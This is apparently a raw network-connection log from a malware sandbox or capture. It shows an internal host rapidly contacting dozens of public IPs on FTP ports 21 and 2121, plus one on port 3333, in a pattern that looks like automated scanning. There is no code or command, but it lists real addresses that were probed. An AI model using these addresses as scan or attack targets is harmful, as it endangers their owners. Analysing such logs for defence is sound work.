Aug 23, 2023 09:15:24.670876980 CEST	21	50770	200.127.4.115	192.168.2.3
Aug 23, 2023 09:15:24.671472073 CEST	2121	50772	200.127.4.115	192.168.2.3
Aug 23, 2023 09:15:24.671988964 CEST	50800	21	192.168.2.3	212.86.60.243
Aug 23, 2023 09:15:24.672939062 CEST	50801	2121	192.168.2.3	212.86.60.243
Aug 23, 2023 09:15:24.679523945 CEST	2121	50797	92.47.131.45	192.168.2.3
Aug 23, 2023 09:15:24.807940960 CEST	50802	21	192.168.2.3	173.175.54.77
Aug 23, 2023 09:15:24.814608097 CEST	21	50798	138.0.238.78	192.168.2.3
Aug 23, 2023 09:15:24.818526030 CEST	2121	50799	138.0.238.78	192.168.2.3
Aug 23, 2023 09:15:24.869688988 CEST	50746	2121	192.168.2.3	99.40.27.97
Aug 23, 2023 09:15:24.869699001 CEST	50744	2121	192.168.2.3	18.67.165.72
Aug 23, 2023 09:15:24.869709015 CEST	50745	21	192.168.2.3	99.40.27.97
Aug 23, 2023 09:15:24.869767904 CEST	50743	21	192.168.2.3	18.67.165.72
Aug 23, 2023 09:15:24.885232925 CEST	50741	21	192.168.2.3	194.124.42.187
Aug 23, 2023 09:15:24.885282993 CEST	50742	2121	192.168.2.3	194.124.42.187
Aug 23, 2023 09:15:24.885343075 CEST	50779	21	192.168.2.3	119.223.26.147
Aug 23, 2023 09:15:24.885344028 CEST	50778	21	192.168.2.3	183.89.130.177
Aug 23, 2023 09:15:24.938980103 CEST	50803	2121	192.168.2.3	173.175.54.77
Aug 23, 2023 09:15:24.939035892 CEST	50804	21	192.168.2.3	52.173.238.208
Aug 23, 2023 09:15:24.994925022 CEST	50781	2121	192.168.2.3	119.223.26.147
Aug 23, 2023 09:15:25.098694086 CEST	21	50778	183.89.130.177	192.168.2.3
Aug 23, 2023 09:15:25.101681948 CEST	50805	2121	192.168.2.3	52.173.238.208
Aug 23, 2023 09:15:25.150917053 CEST	21	50779	119.223.26.147	192.168.2.3
Aug 23, 2023 09:15:25.152462959 CEST	50806	21	192.168.2.3	104.139.49.45
Aug 23, 2023 09:15:25.166529894 CEST	50750	2121	192.168.2.3	67.176.71.239
Aug 23, 2023 09:15:25.166529894 CEST	50792	21	192.168.2.3	95.205.8.0
Aug 23, 2023 09:15:25.166632891 CEST	50753	21	192.168.2.3	82.155.62.207
Aug 23, 2023 09:15:25.166632891 CEST	50793	2121	192.168.2.3	95.205.8.0
Aug 23, 2023 09:15:25.166640997 CEST	50749	21	192.168.2.3	67.176.71.239
Aug 23, 2023 09:15:25.167522907 CEST	50807	2121	192.168.2.3	104.139.49.45
Aug 23, 2023 09:15:25.197782993 CEST	50751	21	192.168.2.3	84.138.118.38
Aug 23, 2023 09:15:25.197784901 CEST	50755	21	192.168.2.3	172.223.240.95
Aug 23, 2023 09:15:25.198096991 CEST	50752	2121	192.168.2.3	84.138.118.38
Aug 23, 2023 09:15:25.199336052 CEST	50808	21	192.168.2.3	82.21.233.180
Aug 23, 2023 09:15:25.258398056 CEST	2121	50781	119.223.26.147	192.168.2.3
Aug 23, 2023 09:15:25.259731054 CEST	50809	2121	192.168.2.3	82.21.233.180
Aug 23, 2023 09:15:25.263664007 CEST	2121	50793	95.205.8.0	192.168.2.3
Aug 23, 2023 09:15:25.276567936 CEST	50754	2121	192.168.2.3	82.155.62.207
Aug 23, 2023 09:15:25.276567936 CEST	50797	2121	192.168.2.3	92.47.131.45
Aug 23, 2023 09:15:25.339432001 CEST	50810	21	192.168.2.3	75.166.128.59
Aug 23, 2023 09:15:25.385524988 CEST	50799	2121	192.168.2.3	138.0.238.78
Aug 23, 2023 09:15:25.385524988 CEST	50798	21	192.168.2.3	138.0.238.78
Aug 23, 2023 09:15:25.398220062 CEST	2121	50797	92.47.131.45	192.168.2.3
Aug 23, 2023 09:15:25.479197025 CEST	50756	2121	192.168.2.3	172.223.240.95
Aug 23, 2023 09:15:25.480724096 CEST	50811	2121	192.168.2.3	75.166.128.59
Aug 23, 2023 09:15:25.486494064 CEST	50812	21	192.168.2.3	24.218.96.43
Aug 23, 2023 09:15:25.594455004 CEST	21	50798	138.0.238.78	192.168.2.3
Aug 23, 2023 09:15:25.598556995 CEST	2121	50799	138.0.238.78	192.168.2.3
Aug 23, 2023 09:15:25.666677952 CEST	50760	2121	192.168.2.3	83.86.111.86
Aug 23, 2023 09:15:25.666681051 CEST	50762	2121	192.168.2.3	47.88.170.199
Aug 23, 2023 09:15:25.666682005 CEST	50759	21	192.168.2.3	83.86.111.86
Aug 23, 2023 09:15:25.666683912 CEST	50761	21	192.168.2.3	47.88.170.199
Aug 23, 2023 09:15:25.697876930 CEST	50757	21	192.168.2.3	104.21.62.163
Aug 23, 2023 09:15:25.697879076 CEST	50763	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:25.697971106 CEST	50758	2121	192.168.2.3	104.21.62.163
Aug 23, 2023 09:15:25.775964022 CEST	50764	21	192.168.2.3	201.3.156.221
Aug 23, 2023 09:15:25.775968075 CEST	50793	2121	192.168.2.3	95.205.8.0
Aug 23, 2023 09:15:25.870903015 CEST	2121	50793	95.205.8.0	192.168.2.3
Aug 23, 2023 09:15:25.873588085 CEST	50813	2121	192.168.2.3	24.218.96.43
Aug 23, 2023 09:15:25.885344028 CEST	50767	2121	192.168.2.3	24.166.80.131
Aug 23, 2023 09:15:25.885360003 CEST	50766	21	192.168.2.3	24.166.80.131
Aug 23, 2023 09:15:25.902594090 CEST	50814	21	192.168.2.3	23.252.151.12
Aug 23, 2023 09:15:25.935167074 CEST	50765	2121	192.168.2.3	201.3.156.221
Aug 23, 2023 09:15:25.935177088 CEST	50768	21	192.168.2.3	165.154.132.142
Aug 23, 2023 09:15:25.935197115 CEST	50773	2121	192.168.2.3	35.143.239.108
Aug 23, 2023 09:15:25.935230017 CEST	50797	2121	192.168.2.3	92.47.131.45
Aug 23, 2023 09:15:25.935235023 CEST	50771	21	192.168.2.3	35.143.239.108
Aug 23, 2023 09:15:25.935235023 CEST	50774	21	192.168.2.3	183.119.92.182
Aug 23, 2023 09:15:25.935266018 CEST	50769	2121	192.168.2.3	165.154.132.142
Aug 23, 2023 09:15:26.008862019 CEST	50815	2121	192.168.2.3	217.216.80.216
Aug 23, 2023 09:15:26.008990049 CEST	50816	21	192.168.2.3	217.216.80.216
Aug 23, 2023 09:15:26.009083986 CEST	50817	21	192.168.2.3	95.190.160.81
Aug 23, 2023 09:15:26.009387970 CEST	50818	2121	192.168.2.3	23.252.151.12
Aug 23, 2023 09:15:26.035511017 CEST	50819	2121	192.168.2.3	95.190.160.81
Aug 23, 2023 09:15:26.035722017 CEST	50820	21	192.168.2.3	126.218.191.20
Aug 23, 2023 09:15:26.057121992 CEST	2121	50797	92.47.131.45	192.168.2.3
Aug 23, 2023 09:15:26.073043108 CEST	50775	2121	192.168.2.3	183.119.92.182
Aug 23, 2023 09:15:26.096322060 CEST	50798	21	192.168.2.3	138.0.238.78
Aug 23, 2023 09:15:26.173140049 CEST	50821	21	192.168.2.3	192.41.229.178
Aug 23, 2023 09:15:26.173696041 CEST	50822	2121	192.168.2.3	126.218.191.20
Aug 23, 2023 09:15:26.295707941 CEST	50799	2121	192.168.2.3	138.0.238.78
Aug 23, 2023 09:15:26.295711994 CEST	50780	2121	192.168.2.3	183.89.130.177
Aug 23, 2023 09:15:26.295717001 CEST	50777	2121	192.168.2.3	193.153.175.16
Aug 23, 2023 09:15:26.295780897 CEST	50782	21	192.168.2.3	211.228.98.28
Aug 23, 2023 09:15:26.295814991 CEST	50776	21	192.168.2.3	193.153.175.16
Aug 23, 2023 09:15:26.306453943 CEST	21	50798	138.0.238.78	192.168.2.3
Aug 23, 2023 09:15:26.317353964 CEST	21	50820	126.218.191.20	192.168.2.3
Aug 23, 2023 09:15:26.319317102 CEST	50823	2121	192.168.2.3	192.41.229.178
Aug 23, 2023 09:15:26.319371939 CEST	50825	2121	192.168.2.3	88.198.135.218
Aug 23, 2023 09:15:26.319372892 CEST	50824	21	192.168.2.3	88.198.135.218
Aug 23, 2023 09:15:26.319402933 CEST	50826	21	192.168.2.3	75.100.180.34
Aug 23, 2023 09:15:26.320780039 CEST	50827	2121	192.168.2.3	75.100.180.34
Aug 23, 2023 09:15:26.344922066 CEST	2121	50825	88.198.135.218	192.168.2.3
Aug 23, 2023 09:15:26.345179081 CEST	21	50824	88.198.135.218	192.168.2.3
Aug 23, 2023 09:15:26.395975113 CEST	50783	2121	192.168.2.3	211.228.98.28
Aug 23, 2023 09:15:26.452620029 CEST	2121	50822	126.218.191.20	192.168.2.3
Aug 23, 2023 09:15:26.466547966 CEST	50828	2121	192.168.2.3	49.165.97.193
Aug 23, 2023 09:15:26.466819048 CEST	50829	21	192.168.2.3	81.37.76.93
Aug 23, 2023 09:15:26.467993021 CEST	50830	21	192.168.2.3	49.165.97.193
Aug 23, 2023 09:15:26.468064070 CEST	50831	2121	192.168.2.3	81.37.76.93
Aug 23, 2023 09:15:26.506194115 CEST	2121	50799	138.0.238.78	192.168.2.3
Aug 23, 2023 09:15:26.563812017 CEST	50832	21	192.168.2.3	141.164.136.85
Aug 23, 2023 09:15:26.712197065 CEST	2121	50828	49.165.97.193	192.168.2.3
Aug 23, 2023 09:15:26.826478004 CEST	50833	2121	192.168.2.3	141.164.136.85
Aug 23, 2023 09:15:26.827353954 CEST	50834	2121	192.168.2.3	108.48.44.232
Aug 23, 2023 09:15:26.827528000 CEST	50836	21	192.168.2.3	207.161.42.102
Aug 23, 2023 09:15:26.827536106 CEST	50835	21	192.168.2.3	108.48.44.232
Aug 23, 2023 09:15:26.827621937 CEST	50837	2121	192.168.2.3	207.161.42.102
Aug 23, 2023 09:15:26.827635050 CEST	50838	21	192.168.2.3	217.215.193.29
Aug 23, 2023 09:15:26.929327965 CEST	2121	50833	141.164.136.85	192.168.2.3
Aug 23, 2023 09:15:26.982846975 CEST	50820	21	192.168.2.3	126.218.191.20
Aug 23, 2023 09:15:26.982872009 CEST	50825	2121	192.168.2.3	88.198.135.218
Aug 23, 2023 09:15:26.982872009 CEST	50822	2121	192.168.2.3	126.218.191.20
Aug 23, 2023 09:15:26.982872009 CEST	50784	21	192.168.2.3	99.253.234.96
Aug 23, 2023 09:15:26.983100891 CEST	50824	21	192.168.2.3	88.198.135.218
Aug 23, 2023 09:15:27.005343914 CEST	2121	50825	88.198.135.218	192.168.2.3
Aug 23, 2023 09:15:27.005485058 CEST	21	50824	88.198.135.218	192.168.2.3
Aug 23, 2023 09:15:27.083300114 CEST	50785	2121	192.168.2.3	99.253.234.96
Aug 23, 2023 09:15:27.084887028 CEST	50839	2121	192.168.2.3	217.215.193.29
Aug 23, 2023 09:15:27.095849037 CEST	50840	21	192.168.2.3	67.176.168.233
Aug 23, 2023 09:15:27.096086025 CEST	50841	2121	192.168.2.3	67.176.168.233
Aug 23, 2023 09:15:27.259239912 CEST	50842	2121	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.259336948 CEST	50843	21	192.168.2.3	42.82.32.135
Aug 23, 2023 09:15:27.259392023 CEST	50844	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.259466887 CEST	50845	2121	192.168.2.3	42.82.32.135
Aug 23, 2023 09:15:27.262667894 CEST	2121	50822	126.218.191.20	192.168.2.3
Aug 23, 2023 09:15:27.262690067 CEST	21	50820	126.218.191.20	192.168.2.3
Aug 23, 2023 09:15:27.282954931 CEST	50828	2121	192.168.2.3	49.165.97.193
Aug 23, 2023 09:15:27.350711107 CEST	21	50844	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:27.353363037 CEST	2121	50842	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:27.363271952 CEST	50844	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.368972063 CEST	50846	21	192.168.2.3	217.199.249.42
Aug 23, 2023 09:15:27.382920027 CEST	50787	2121	192.168.2.3	73.10.149.242
Aug 23, 2023 09:15:27.382934093 CEST	50789	2121	192.168.2.3	73.252.78.167
Aug 23, 2023 09:15:27.382978916 CEST	50786	21	192.168.2.3	73.10.149.242
Aug 23, 2023 09:15:27.382987022 CEST	50790	21	192.168.2.3	73.138.100.145
Aug 23, 2023 09:15:27.382987022 CEST	50794	21	192.168.2.3	94.194.157.120
Aug 23, 2023 09:15:27.383021116 CEST	50791	2121	192.168.2.3	73.138.100.145
Aug 23, 2023 09:15:27.383021116 CEST	50788	21	192.168.2.3	73.252.78.167
Aug 23, 2023 09:15:27.449054956 CEST	21	50844	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:27.450005054 CEST	21	50846	217.199.249.42	192.168.2.3
Aug 23, 2023 09:15:27.463387012 CEST	50844	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.464215994 CEST	50847	2121	192.168.2.3	217.199.249.42
Aug 23, 2023 09:15:27.484117031 CEST	50795	2121	192.168.2.3	94.194.157.120
Aug 23, 2023 09:15:27.484147072 CEST	50796	21	192.168.2.3	92.47.131.45
Aug 23, 2023 09:15:27.484149933 CEST	50833	2121	192.168.2.3	141.164.136.85
Aug 23, 2023 09:15:27.516536951 CEST	50848	21	192.168.2.3	49.245.138.203
Aug 23, 2023 09:15:27.525763988 CEST	2121	50828	49.165.97.193	192.168.2.3
Aug 23, 2023 09:15:27.551443100 CEST	2121	50847	217.199.249.42	192.168.2.3
Aug 23, 2023 09:15:27.551843882 CEST	21	50844	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:27.551867962 CEST	21	50844	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:27.556400061 CEST	50844	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.556909084 CEST	50844	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.578198910 CEST	50849	2121	192.168.2.3	49.245.138.203
Aug 23, 2023 09:15:27.578315020 CEST	50850	21	192.168.2.3	179.57.162.128
Aug 23, 2023 09:15:27.578495026 CEST	50851	2121	192.168.2.3	179.57.162.128
Aug 23, 2023 09:15:27.587538958 CEST	2121	50833	141.164.136.85	192.168.2.3
Aug 23, 2023 09:15:27.619673967 CEST	50852	21	192.168.2.3	162.212.250.247
Aug 23, 2023 09:15:27.619712114 CEST	50853	2121	192.168.2.3	162.212.250.247
Aug 23, 2023 09:15:27.679433107 CEST	50825	2121	192.168.2.3	88.198.135.218
Aug 23, 2023 09:15:27.679596901 CEST	50824	21	192.168.2.3	88.198.135.218
Aug 23, 2023 09:15:27.680071115 CEST	50854	21	192.168.2.3	178.232.218.43
Aug 23, 2023 09:15:27.699702024 CEST	50801	2121	192.168.2.3	212.86.60.243
Aug 23, 2023 09:15:27.699708939 CEST	50800	21	192.168.2.3	212.86.60.243
Aug 23, 2023 09:15:27.702847958 CEST	2121	50825	88.198.135.218	192.168.2.3
Aug 23, 2023 09:15:27.702889919 CEST	21	50824	88.198.135.218	192.168.2.3
Aug 23, 2023 09:15:27.713208914 CEST	50855	2121	192.168.2.3	178.232.218.43
Aug 23, 2023 09:15:27.713263988 CEST	50856	21	192.168.2.3	220.132.172.250
Aug 23, 2023 09:15:27.792501926 CEST	50857	2121	192.168.2.3	220.132.172.250
Aug 23, 2023 09:15:27.816320896 CEST	21	50850	179.57.162.128	192.168.2.3
Aug 23, 2023 09:15:27.822890997 CEST	2121	50851	179.57.162.128	192.168.2.3
Aug 23, 2023 09:15:27.833167076 CEST	50858	21	192.168.2.3	58.187.137.112
Aug 23, 2023 09:15:27.833278894 CEST	50859	21	192.168.2.3	211.244.164.46
Aug 23, 2023 09:15:27.833340883 CEST	50861	2121	192.168.2.3	58.187.137.112
Aug 23, 2023 09:15:27.833359957 CEST	50860	2121	192.168.2.3	211.244.164.46
Aug 23, 2023 09:15:27.851109982 CEST	50862	21	192.168.2.3	191.94.26.251
Aug 23, 2023 09:15:27.860887051 CEST	50802	21	192.168.2.3	173.175.54.77
Aug 23, 2023 09:15:27.860891104 CEST	50822	2121	192.168.2.3	126.218.191.20
Aug 23, 2023 09:15:27.870898962 CEST	2121	50849	49.245.138.203	192.168.2.3
Aug 23, 2023 09:15:27.871723890 CEST	50863	2121	192.168.2.3	191.94.26.251
Aug 23, 2023 09:15:27.891453981 CEST	50842	2121	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:27.891460896 CEST	50820	21	192.168.2.3	126.218.191.20
Aug 23, 2023 09:15:27.948415041 CEST	50864	21	192.168.2.3	119.203.4.169
Aug 23, 2023 09:15:27.973037004 CEST	21	50856	220.132.172.250	192.168.2.3
Aug 23, 2023 09:15:27.983112097 CEST	50803	2121	192.168.2.3	173.175.54.77
Aug 23, 2023 09:15:27.983123064 CEST	50846	21	192.168.2.3	217.199.249.42
Aug 23, 2023 09:15:27.983127117 CEST	50804	21	192.168.2.3	52.173.238.208
Aug 23, 2023 09:15:27.985197067 CEST	2121	50842	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:28.050836086 CEST	2121	50857	220.132.172.250	192.168.2.3
Aug 23, 2023 09:15:28.064826965 CEST	21	50846	217.199.249.42	192.168.2.3
Aug 23, 2023 09:15:28.092212915 CEST	50828	2121	192.168.2.3	49.165.97.193
Aug 23, 2023 09:15:28.092624903 CEST	50833	2121	192.168.2.3	141.164.136.85
Aug 23, 2023 09:15:28.093627930 CEST	50865	2121	192.168.2.3	119.203.4.169
Aug 23, 2023 09:15:28.111207962 CEST	50866	21	192.168.2.3	52.210.76.102
Aug 23, 2023 09:15:28.111232996 CEST	50867	2121	192.168.2.3	52.210.76.102
Aug 23, 2023 09:15:28.122118950 CEST	2121	50860	211.244.164.46	192.168.2.3
Aug 23, 2023 09:15:28.123797894 CEST	21	50859	211.244.164.46	192.168.2.3
Aug 23, 2023 09:15:28.139265060 CEST	2121	50822	126.218.191.20	192.168.2.3
Aug 23, 2023 09:15:28.143582106 CEST	50868	21	192.168.2.3	174.109.145.79
Aug 23, 2023 09:15:28.170610905 CEST	21	50820	126.218.191.20	192.168.2.3
Aug 23, 2023 09:15:28.175059080 CEST	50847	2121	192.168.2.3	217.199.249.42
Aug 23, 2023 09:15:28.175072908 CEST	50805	2121	192.168.2.3	52.173.238.208
Aug 23, 2023 09:15:28.175088882 CEST	50806	21	192.168.2.3	104.139.49.45
Aug 23, 2023 09:15:28.175111055 CEST	50807	2121	192.168.2.3	104.139.49.45
Aug 23, 2023 09:15:28.175723076 CEST	50869	2121	192.168.2.3	174.109.145.79
Aug 23, 2023 09:15:28.199171066 CEST	2121	50833	141.164.136.85	192.168.2.3
Aug 23, 2023 09:15:28.205482960 CEST	50870	21	192.168.2.3	174.172.195.89
Aug 23, 2023 09:15:28.206645012 CEST	21	50864	119.203.4.169	192.168.2.3
Aug 23, 2023 09:15:28.213196039 CEST	50871	2121	192.168.2.3	174.172.195.89
Aug 23, 2023 09:15:28.259040117 CEST	2121	50847	217.199.249.42	192.168.2.3
Aug 23, 2023 09:15:28.292798996 CEST	50872	21	192.168.2.3	73.189.10.40
Aug 23, 2023 09:15:28.334778070 CEST	2121	50828	49.165.97.193	192.168.2.3
Aug 23, 2023 09:15:28.338100910 CEST	50873	2121	192.168.2.3	73.189.10.40
Aug 23, 2023 09:15:28.349057913 CEST	2121	50865	119.203.4.169	192.168.2.3
Aug 23, 2023 09:15:28.372380018 CEST	50808	21	192.168.2.3	82.21.233.180
Aug 23, 2023 09:15:28.372395992 CEST	50809	2121	192.168.2.3	82.21.233.180
Aug 23, 2023 09:15:28.372395992 CEST	50810	21	192.168.2.3	75.166.128.59
Aug 23, 2023 09:15:28.373080969 CEST	50874	21	192.168.2.3	61.202.90.98
Aug 23, 2023 09:15:28.392668962 CEST	50851	2121	192.168.2.3	179.57.162.128
Aug 23, 2023 09:15:28.392829895 CEST	50849	2121	192.168.2.3	49.245.138.203
Aug 23, 2023 09:15:28.392833948 CEST	50850	21	192.168.2.3	179.57.162.128
Aug 23, 2023 09:15:28.492852926 CEST	50842	2121	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:28.580559015 CEST	2121	50842	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:28.583787918 CEST	50812	21	192.168.2.3	24.218.96.43
Aug 23, 2023 09:15:28.583806038 CEST	50856	21	192.168.2.3	220.132.172.250
Aug 23, 2023 09:15:28.583822012 CEST	50857	2121	192.168.2.3	220.132.172.250
Aug 23, 2023 09:15:28.583832979 CEST	50811	2121	192.168.2.3	75.166.128.59
Aug 23, 2023 09:15:28.583832979 CEST	50846	21	192.168.2.3	217.199.249.42
Aug 23, 2023 09:15:28.585427999 CEST	50875	2121	192.168.2.3	61.202.90.98
Aug 23, 2023 09:15:28.630690098 CEST	21	50850	179.57.162.128	192.168.2.3
Aug 23, 2023 09:15:28.634851933 CEST	2121	50851	179.57.162.128	192.168.2.3
Aug 23, 2023 09:15:28.665292025 CEST	21	50846	217.199.249.42	192.168.2.3
Aug 23, 2023 09:15:28.668586016 CEST	50876	21	192.168.2.3	75.161.238.39
Aug 23, 2023 09:15:28.686285973 CEST	50860	2121	192.168.2.3	211.244.164.46
Aug 23, 2023 09:15:28.748351097 CEST	2121	50849	49.245.138.203	192.168.2.3
Aug 23, 2023 09:15:28.766496897 CEST	50847	2121	192.168.2.3	217.199.249.42
Aug 23, 2023 09:15:28.766531944 CEST	50859	21	192.168.2.3	211.244.164.46
Aug 23, 2023 09:15:28.766609907 CEST	50864	21	192.168.2.3	119.203.4.169
Aug 23, 2023 09:15:28.840620041 CEST	2121	50857	220.132.172.250	192.168.2.3
Aug 23, 2023 09:15:28.843566895 CEST	21	50856	220.132.172.250	192.168.2.3
Aug 23, 2023 09:15:28.850433111 CEST	2121	50847	217.199.249.42	192.168.2.3
Aug 23, 2023 09:15:28.867011070 CEST	50865	2121	192.168.2.3	119.203.4.169
Aug 23, 2023 09:15:28.887336969 CEST	50877	2121	192.168.2.3	75.161.238.39
Aug 23, 2023 09:15:28.957762003 CEST	50878	21	192.168.2.3	41.136.173.153
Aug 23, 2023 09:15:28.966809034 CEST	50814	21	192.168.2.3	23.252.151.12
Aug 23, 2023 09:15:28.966826916 CEST	50813	2121	192.168.2.3	24.218.96.43
Aug 23, 2023 09:15:28.970489979 CEST	2121	50860	211.244.164.46	192.168.2.3
Aug 23, 2023 09:15:29.022355080 CEST	21	50864	119.203.4.169	192.168.2.3
Aug 23, 2023 09:15:29.053878069 CEST	21	50859	211.244.164.46	192.168.2.3
Aug 23, 2023 09:15:29.066641092 CEST	50815	2121	192.168.2.3	217.216.80.216
Aug 23, 2023 09:15:29.066688061 CEST	50819	2121	192.168.2.3	95.190.160.81
Aug 23, 2023 09:15:29.066693068 CEST	50816	21	192.168.2.3	217.216.80.216
Aug 23, 2023 09:15:29.083080053 CEST	50879	2121	192.168.2.3	41.136.173.153
Aug 23, 2023 09:15:29.086642027 CEST	50817	21	192.168.2.3	95.190.160.81
Aug 23, 2023 09:15:29.086659908 CEST	50818	2121	192.168.2.3	23.252.151.12
Aug 23, 2023 09:15:29.122041941 CEST	2121	50865	119.203.4.169	192.168.2.3
Aug 23, 2023 09:15:29.198116064 CEST	50851	2121	192.168.2.3	179.57.162.128
Aug 23, 2023 09:15:29.198168993 CEST	50850	21	192.168.2.3	179.57.162.128
Aug 23, 2023 09:15:29.297429085 CEST	50849	2121	192.168.2.3	49.245.138.203
Aug 23, 2023 09:15:29.348294020 CEST	50880	21	192.168.2.3	221.153.63.133
Aug 23, 2023 09:15:29.355571032 CEST	50881	2121	192.168.2.3	221.153.63.133
Aug 23, 2023 09:15:29.355823040 CEST	50882	21	192.168.2.3	222.229.222.154
Aug 23, 2023 09:15:29.355882883 CEST	50883	2121	192.168.2.3	222.229.222.154
Aug 23, 2023 09:15:29.355973959 CEST	50885	2121	192.168.2.3	174.30.55.180
Aug 23, 2023 09:15:29.355993986 CEST	50884	21	192.168.2.3	174.30.55.180
Aug 23, 2023 09:15:29.356028080 CEST	50886	21	192.168.2.3	99.226.137.58
Aug 23, 2023 09:15:29.356076002 CEST	50887	2121	192.168.2.3	99.226.137.58
Aug 23, 2023 09:15:29.366467953 CEST	50821	21	192.168.2.3	192.41.229.178
Aug 23, 2023 09:15:29.366535902 CEST	50856	21	192.168.2.3	220.132.172.250
Aug 23, 2023 09:15:29.366535902 CEST	50857	2121	192.168.2.3	220.132.172.250
Aug 23, 2023 09:15:29.397825003 CEST	50827	2121	192.168.2.3	75.100.180.34
Aug 23, 2023 09:15:29.398926020 CEST	50823	2121	192.168.2.3	192.41.229.178
Aug 23, 2023 09:15:29.398925066 CEST	50826	21	192.168.2.3	75.100.180.34
Aug 23, 2023 09:15:29.441767931 CEST	21	50850	179.57.162.128	192.168.2.3
Aug 23, 2023 09:15:29.443809986 CEST	2121	50851	179.57.162.128	192.168.2.3
Aug 23, 2023 09:15:29.444052935 CEST	50888	21	192.168.2.3	212.239.153.22
Aug 23, 2023 09:15:29.444261074 CEST	50889	2121	192.168.2.3	212.239.153.22
Aug 23, 2023 09:15:29.495592117 CEST	50890	21	192.168.2.3	24.22.204.9
Aug 23, 2023 09:15:29.495732069 CEST	50891	2121	192.168.2.3	24.22.204.9
Aug 23, 2023 09:15:29.498033047 CEST	50860	2121	192.168.2.3	211.244.164.46
Aug 23, 2023 09:15:29.498097897 CEST	50829	21	192.168.2.3	81.37.76.93
Aug 23, 2023 09:15:29.567099094 CEST	50830	21	192.168.2.3	49.165.97.193
Aug 23, 2023 09:15:29.567198992 CEST	50859	21	192.168.2.3	211.244.164.46
Aug 23, 2023 09:15:29.567202091 CEST	50831	2121	192.168.2.3	81.37.76.93
Aug 23, 2023 09:15:29.567202091 CEST	50864	21	192.168.2.3	119.203.4.169
Aug 23, 2023 09:15:29.608411074 CEST	2121	50849	49.245.138.203	192.168.2.3
Aug 23, 2023 09:15:29.614762068 CEST	50892	21	192.168.2.3	173.72.119.59
Aug 23, 2023 09:15:29.622911930 CEST	2121	50857	220.132.172.250	192.168.2.3
Aug 23, 2023 09:15:29.627655983 CEST	21	50856	220.132.172.250	192.168.2.3
Aug 23, 2023 09:15:29.646548033 CEST	50893	2121	192.168.2.3	173.72.119.59
Aug 23, 2023 09:15:29.646653891 CEST	50894	21	192.168.2.3	64.50.150.220
Aug 23, 2023 09:15:29.682033062 CEST	50865	2121	192.168.2.3	119.203.4.169
Aug 23, 2023 09:15:29.682943106 CEST	50896	21	192.168.2.3	188.108.182.43
Aug 23, 2023 09:15:29.682952881 CEST	50895	2121	192.168.2.3	64.50.150.220
Aug 23, 2023 09:15:29.702159882 CEST	50832	21	192.168.2.3	141.164.136.85
Aug 23, 2023 09:15:29.784044027 CEST	2121	50860	211.244.164.46	192.168.2.3
Aug 23, 2023 09:15:29.785522938 CEST	21	50894	64.50.150.220	192.168.2.3
Aug 23, 2023 09:15:29.788724899 CEST	50897	2121	192.168.2.3	188.108.182.43
Aug 23, 2023 09:15:29.825594902 CEST	21	50864	119.203.4.169	192.168.2.3
Aug 23, 2023 09:15:29.826072931 CEST	50898	21	192.168.2.3	155.193.23.78
Aug 23, 2023 09:15:29.826908112 CEST	50899	2121	192.168.2.3	155.193.23.78
Aug 23, 2023 09:15:29.856971025 CEST	21	50859	211.244.164.46	192.168.2.3
Aug 23, 2023 09:15:29.884135962 CEST	50835	21	192.168.2.3	108.48.44.232
Aug 23, 2023 09:15:29.884176016 CEST	50834	2121	192.168.2.3	108.48.44.232
Aug 23, 2023 09:15:29.927274942 CEST	50900	21	192.168.2.3	92.100.121.142
Aug 23, 2023 09:15:29.936839104 CEST	2121	50865	119.203.4.169	192.168.2.3
Aug 23, 2023 09:15:29.943336964 CEST	50901	2121	192.168.2.3	92.100.121.142
Aug 23, 2023 09:15:29.948385000 CEST	50902	21	192.168.2.3	79.217.31.163
Aug 23, 2023 09:15:29.948400974 CEST	50903	2121	192.168.2.3	79.217.31.163
Aug 23, 2023 09:15:29.977935076 CEST	50836	21	192.168.2.3	207.161.42.102
Aug 23, 2023 09:15:29.977938890 CEST	50837	2121	192.168.2.3	207.161.42.102
Aug 23, 2023 09:15:29.977940083 CEST	50838	21	192.168.2.3	217.215.193.29
Aug 23, 2023 09:15:30.178546906 CEST	50841	2121	192.168.2.3	67.176.168.233
Aug 23, 2023 09:15:30.178563118 CEST	50839	2121	192.168.2.3	217.215.193.29
Aug 23, 2023 09:15:30.178571939 CEST	50840	21	192.168.2.3	67.176.168.233
Aug 23, 2023 09:15:30.296139956 CEST	50843	21	192.168.2.3	42.82.32.135
Aug 23, 2023 09:15:30.298908949 CEST	50845	2121	192.168.2.3	42.82.32.135
Aug 23, 2023 09:15:30.376780033 CEST	50894	21	192.168.2.3	64.50.150.220
Aug 23, 2023 09:15:30.461518049 CEST	50904	2121	192.168.2.3	61.97.198.63
Aug 23, 2023 09:15:30.461781025 CEST	50905	21	192.168.2.3	194.207.231.88
Aug 23, 2023 09:15:30.462024927 CEST	50906	21	192.168.2.3	20.234.163.54
Aug 23, 2023 09:15:30.462270975 CEST	50907	2121	192.168.2.3	20.234.163.54
Aug 23, 2023 09:15:30.462551117 CEST	50908	2121	192.168.2.3	194.207.231.88
Aug 23, 2023 09:15:30.462841034 CEST	50909	21	192.168.2.3	61.97.198.63
Aug 23, 2023 09:15:30.515011072 CEST	21	50894	64.50.150.220	192.168.2.3
Aug 23, 2023 09:15:30.598603964 CEST	50848	21	192.168.2.3	49.245.138.203
Aug 23, 2023 09:15:30.679397106 CEST	50853	2121	192.168.2.3	162.212.250.247
Aug 23, 2023 09:15:30.679404020 CEST	50852	21	192.168.2.3	162.212.250.247
Aug 23, 2023 09:15:30.780344009 CEST	50854	21	192.168.2.3	178.232.218.43
Aug 23, 2023 09:15:30.780371904 CEST	50855	2121	192.168.2.3	178.232.218.43
